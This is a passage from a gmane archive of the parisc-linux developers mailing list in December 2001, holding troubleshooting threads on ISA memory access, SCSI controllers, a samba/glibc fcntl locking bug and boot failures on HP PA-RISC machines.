Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 18:46:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3DC1482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 18:46:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16GVoe-0003I3-00; Wed, 19 Dec 2001 01:46:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.NEB.4.33.0112181417170.14021-100000@www2.scram.de>; from jochen@scram.de on Tue, Dec 18, 2001 at 02:22:15PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13426

On Tue, Dec 18, 2001 at 02:22:15PM +0100, Jochen Friedrich wrote:
> is it necessary to perform something similar to eisa_permute for ISA
> memory space? At least on IBM Token Ring cards the driver fails to get
> correct data if (memory & 0x300) == 0:

not from my memories of the mongoose docs.  unfortunately, i don't have
access to those again until jan 10th or so.  how does the driver access
the card?  readb/writeb or dma?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ISA memory access
Date: Wed, 19 Dec 2001 07:44:25 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.40.0112190739110.3388-100000@alpha.bocc.de>
References: <20011219014640.D8936@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620871 31900 80.91.229.3 (22 Nov 2014 01:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:51 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 23:44:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E4A6482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 23:44:42 -0700 (MST)
Original-Received: from p5080CABC.dip.t-dialin.net (p5080CABC.dip.t-dialin.net [80.128.202.188])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fBJ6iVA13220;
	Wed, 19 Dec 2001 07:44:31 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20011219014640.D8936@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13427

Hi Matthew.

> not from my memories of the mongoose docs.  unfortunately, i don't have
> access to those again until jan 10th or so.  how does the driver access
> the card?  readb/writeb or dma?

It is pure readb/writeb. 

I also let the driver create a memory dump during initialization time and 
the dump shows stripes of 0xFF from 0xD0000-0xD00FF, 0xD0400-0xD04FF, etc 
(addresses are ISA space), while the card firmware seems to initialize all 
memory to 0x00.

Cheers,
Jochen




From - Thu Nov 08 21:20:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console problem)]
Date: Wed, 19 Dec 2001 10:55:09 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20011219105508.V1897@linuxcare.com>
References: <3C1E108A.40706@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620871 31905 80.91.229.3 (22 Nov 2014 01:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bheadley@interaccess.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 03:56:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id A22CB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Dec 2001 03:56:17 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0B129B00C; Wed, 19 Dec 2001 10:55:09 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3C1E108A.40706@interaccess.com>; from bheadley@interaccess.com on Mon, Dec 17, 2001 at 09:34:34AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13428

On Mon, Dec 17, 2001 at 09:34:34AM -0600, Bryan W. Headley wrote:
> Since my C110 has a fast/wide, and so does my 735, I'm in the bad spot 
> of never really having either machine fully boot up. The CDROM drive I 
> have doesn't "like" RW discs, so I'd love to see someone stamp out a 
> Woody-ish master that I can read from.

FWD disks on 53c720 on C110 should work these days.  Either use a recent
kernel, or use the workaround in the 0.9.3 ISO errata.  They wont work on
the 735 because the processor on that box doesn't support consistent
memory (pci_alloc_consistent() fails).

My parisc boxes don't like CD-RW disks either, but are quite happy with
CD-R disks I burn myself.

Richard




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <J.Hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] can not get samba to work
Date: Wed, 19 Dec 2001 13:28:44 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <881475869708.20011219132844@reinarts.de>
Reply-To: Joerg Hartmann <J.Hartmann@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620871 31907 80.91.229.3 (22 Nov 2014 01:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:51 +0000 (UTC)
To: parisc-linux Mailinglist <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 04:16:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BF32482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Dec 2001 04:16:36 -0700 (MST)
Original-Received: from computer (pec-53-205.tnt1.b2.uunet.de [149.225.53.205])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id MAA00739
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Dec 2001 12:12:08 +0100 (MET)
X-Mailer: The Bat! (v1.53d) UNREG / CD5BF9353B3B7091
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13429

Hello parisc-linux users,

i can not get samba to work on my 720 with the 0.9.3 Debian.
smbd dies immediatly with an error message in log.smbd:
[2001/12/16 19:51:43, 0] lib/messages.c:message_init(97)
  ERROR: Failed to initialise messages database

A messages.tdb exists. Every tool seems to have problems with *.tdb
hp-tux:/usr/src/samba-2.2.2/source/bin# ./smbstatus -s /etc/samba/smb.conf
connections.tdb not initialised

First i had installed the samba (v 2.2.2) package from the CD with
apt-get. After that didn't worked, i removed it and compiled my own from
the native source. Same problem - same error.

./configure and make went smoothly so i dont understand
what the reason of this error is.  

As i thought this would be a samba error i asked for help
on the samba mailing list, but did not get an answer.
So i am now stuck with this error ...
Does anyone use samba on parisc-linux ?
Could this be a problem with some underlying software which samba
depends on ?
I use samba since years on x86-Linux and have never seen such things
bevore.

-- 
Best regards,
 Joerg                          J.Hartmann@reinarts.de




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 11:36:21 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20011219113621.X1897@linuxcare.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620872 31912 80.91.229.3 (22 Nov 2014 01:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 04:37:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60C39482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 04:37:34 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 99553B00C; Wed, 19 Dec 2001 11:36:21 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <1008594958.3c1df00ed9750@nyepost.start.no>; from squawker@start.no on Mon, Dec 17, 2001 at 02:15:58PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13430

On Mon, Dec 17, 2001 at 02:15:58PM +0100, Andy Walker wrote:
> Quoting Andy Walker <squawker@start.no>:
> 
> > I had to pull the Bluefish F/W-Diff card (or at least disconnect the
> > disk) but it may have been termination problems causing the timeouts/
> > resets. Something else to test :-)
> 
> Okay, checked termination. Tried a different disk. Booted HP-UX on
> that disk. No luck with Linux.
> 
> Relevant part of the dmesg is:
> 
> ...
> 18. Bluefish Add-on FW-SCSI (4) at 0xfff8c000 [11], versions 0x13, 0x0, 0x89
> ...
> zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> ncr53c8xx: 53c720 detected
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> scsi0 : ncr53c8xx-3.4.3b-20010512

Don't know why that is failing; does it always fail, or is it an
intermittant problem?  e.g. Are the disks detected at boottime?

You might try booting with something like

ncr53c8xx=sync:255,burst:0,verb:2

which slows it down and might help if it is intermittant (just guessing though)

Richard




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fs corruption
Date: Wed, 19 Dec 2001 13:50:18 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20011219115018.GA21399@marmite.its.uct.ac.za>
References: <001f01c18455$04d1cef0$0201a8c0@w2kpro> <200112140525.WAA21618@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620872 31913 80.91.229.3 (22 Nov 2014 01:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 04:50:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10BF6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Dec 2001 04:50:40 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.33 #4)
	id 16GfGz-0003kd-00
	for parisc-linux@lists.parisc-linux.org; Wed, 19 Dec 2001 13:52:33 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 5FE0F1A35E; Wed, 19 Dec 2001 13:50:18 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200112140525.WAA21618@puffin.external.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13431

On Thu, Dec 13, 2001 at 10:25:32PM -0700, Grant Grundler wrote:
[snip]
> I punt. Met my web site hacking quota for the day...some substantial
> updates to the 0.9.3 errata:
> 	http://www.parisc-linux.org/release-0.9/errata-093.html
> 
> (You do want to know how to avoid file corruption right?)
[snip]

Oh I'm glad that's fixed :)  I was seeing fs corruption on a
D270 with an NCR53c720 and wasn't sure if it was the hardware or
the kernel or something stupid I had done :)

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Wed, 19 Dec 2001 15:15:13 +0100 (CET)
Lines: 64
Approved: news@gmane.org
Message-ID: <1008771313.3c20a0f14484a@nyepost.start.no>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <1008594958.3c1df00ed9750@nyepost.start.no> <20011219113621.X1897@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620872 31917 80.91.229.3 (22 Nov 2014 01:47:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:52 +0000 (UTC)
Cc: Andy Walker <squawker@start.no>, parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 07:25:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA748482A
	for <parisc-linux@parisc-linux.org>; Wed, 19 Dec 2001 07:25:10 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP
	id 93B2D833E; Wed, 19 Dec 2001 15:25:03 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBJEFDr12702;
	Wed, 19 Dec 2001 15:15:13 +0100
In-Reply-To: <20011219113621.X1897@linuxcare.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13432

Quoting Richard Hirst <rhirst@linuxcare.com>:
> > 
> > ...
> > 18. Bluefish Add-on FW-SCSI (4) at 0xfff8c000 [11], versions 0x13,
> 0x0, 0x89
> > ...
> > zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
> > ncr53c8xx: 53c720 detected
> > ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> > scsi0 : ncr53c8xx-3.4.3b-20010512
> 
> Don't know why that is failing; does it always fail, or is it an
> intermittant problem?  e.g. Are the disks detected at boottime?
> 
> You might try booting with something like
> 
> ncr53c8xx=sync:255,burst:0,verb:2
> 
> which slows it down and might help if it is intermittant (just guessing
> though)
> 
> Richard
> 

Hi Richard,

Yep, it always fails. If there's a disk on the bus (I've tried a couple
of different ones) it will always hang on boot with timeouts and bus
resets when trying to find the disk.

To triple check the termination, I installed the terminator packs on
the card and moved the cable from the internal connector to the
external one. No difference there, even with your kernel parameter
suggestion.

Here's the verbose output from a boot without a disk connected:

zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 
setup=disc:y,specf:3,tags:8,sync:255,burst:0,wide:y,diff:0,revprob:n,buschk:0x1
ncr53c8xx: 
setup=mpar:y,spar:y,fsn=n,verb:2,debug:0x0,led:n,settle:2,irqm:0x0,nvram:0x1,pci
fix:0x0
ncr53c8xx: 53c720 detected
ncr53c720-0: using memory mapped IO at virtual address 0xfff8c800
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
ncr53c720-0: initial SCNTL3/DMODE/DCNTL/CTEST3/4/5 = (hex) 00/00/20/00/80/00
ncr53c720-0: final   SCNTL3/DMODE/DCNTL/CTEST3/4/5 = (hex) 03/00/20/00/88/00
ncr53c720-0: resetting, command processing suspended for 2 seconds
ncr53c720-0: restart (scsi reset).
scsi0 : ncr53c8xx-3.4.3b-20010512
ncr53c720-0: command processing resumed

I'm gonna try one more disk, one that I've tested with Linux on the B132,
but that won't be until tomorrow.

-Andy



------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] can not get samba to work
Date: Wed, 19 Dec 2001 14:47:29 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20011219144729.Y1897@linuxcare.com>
References: <881475869708.20011219132844@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620873 31921 80.91.229.3 (22 Nov 2014 01:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:53 +0000 (UTC)
Cc: parisc-linux Mailinglist <parisc-linux@lists.parisc-linux.org>
To: Joerg Hartmann <J.Hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 07:48:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2E50482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Dec 2001 07:48:39 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 43BB9B00C; Wed, 19 Dec 2001 14:47:29 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <881475869708.20011219132844@reinarts.de>; from J.Hartmann@reinarts.de on Wed, Dec 19, 2001 at 01:28:44PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13433

On Wed, Dec 19, 2001 at 01:28:44PM +0100, Joerg Hartmann wrote:
> Hello parisc-linux users,
> 
> i can not get samba to work on my 720 with the 0.9.3 Debian.
> smbd dies immediatly with an error message in log.smbd:
> [2001/12/16 19:51:43, 0] lib/messages.c:message_init(97)
>   ERROR: Failed to initialise messages database

This looks like a glibc problem to me - I think it is calling fcntl
where it should be calling fcntl64, and using FSETLKW rather than
F_SETLKW64.

samba builds with

-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE

Using a test program, without those defines, i386 strace shows:

fcntl64(3, F_SETLKW, {type=F_WRLCK, whence=SEEK_SET, start=0, len=1}) = 0

with those defines:

fcntl64(3, F_SETLKW64, {type=F_WRLCK, whence=SEEK_SET, start=0, len=1}, 0xbffffa9c) = 0


Now on hppa, without those defines

fcntl(3, F_SETLKW, {type=F_WRLCK, whence=SEEK_SET, start=0, len=1}) = 0

and with them:

fcntl(3, F_SETLKW, {type=F_WRLCK, whence=SEEK_SET, start=31, len=0}) = 0


note that 'start' and 'len' are wrong in the last case; I think that's
because glibc used a 64 bit struct flock, but didn't specify F_SETLKW64
(and didn't call fcntl64).

Richard




From - Thu Nov 08 21:20:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Startup problem X
Date: Wed, 19 Dec 2001 08:58:06 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20011219155807.15CF9482A@dsl2.external.hp.com>
References: <CDB09D386161D411881900D0B77FBBC106521DA9@ibsen.sweden.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620873 31924 80.91.229.3 (22 Nov 2014 01:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "JOERGENSEN,RUNAR (HP-Norway,ex1)" <runar_joergensen@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 19 08:58:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 15CF9482A; Wed, 19 Dec 2001 08:58:07 -0700 (MST)
In-Reply-To: Message from "JOERGENSEN,RUNAR (HP-Norway,ex1)" <runar_joergensen@hp.com> 
   of "Wed, 19 Dec 2001 13:35:29 +0100." <CDB09D386161D411881900D0B77FBBC106521DA9@ibsen.sweden.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
